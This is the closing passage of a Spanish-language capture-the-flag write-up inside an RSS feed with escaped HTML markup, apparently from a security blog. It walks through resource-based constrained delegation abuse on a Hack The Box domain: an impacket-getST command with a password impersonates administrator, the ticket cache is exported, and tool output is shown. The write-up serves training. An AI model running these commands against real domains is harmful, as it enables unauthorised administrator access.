&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Accounts allowed to act on behalf of other identity&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] ATTACKERSYSTEM$ (S-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;1677581083&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;3380853377&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;188903654&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;6103&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="paso-3-solicitar-un-service-ticket-suplantando-a-administrator"&gt;Paso 3: solicitar un Service Ticket suplantando a Administrator&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/kali]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# impacket-getST -spn &amp;#39;cifs/dc.support.htb&amp;#39; -impersonate &amp;#39;administrator&amp;#39; &amp;#39;support.htb/attackersystem$:Summer2018!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[-] CCache file is not found. Skipping...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Getting TGT &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Impersonating administrator
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Requesting S4U2self
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Requesting S4U2Proxy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saving ticket &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;klist
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-8030-a1a9-e5afe5793bfe.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Con el ticket en sesión, ya tenemos acceso como &lt;strong&gt;administrator&lt;/strong&gt;.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>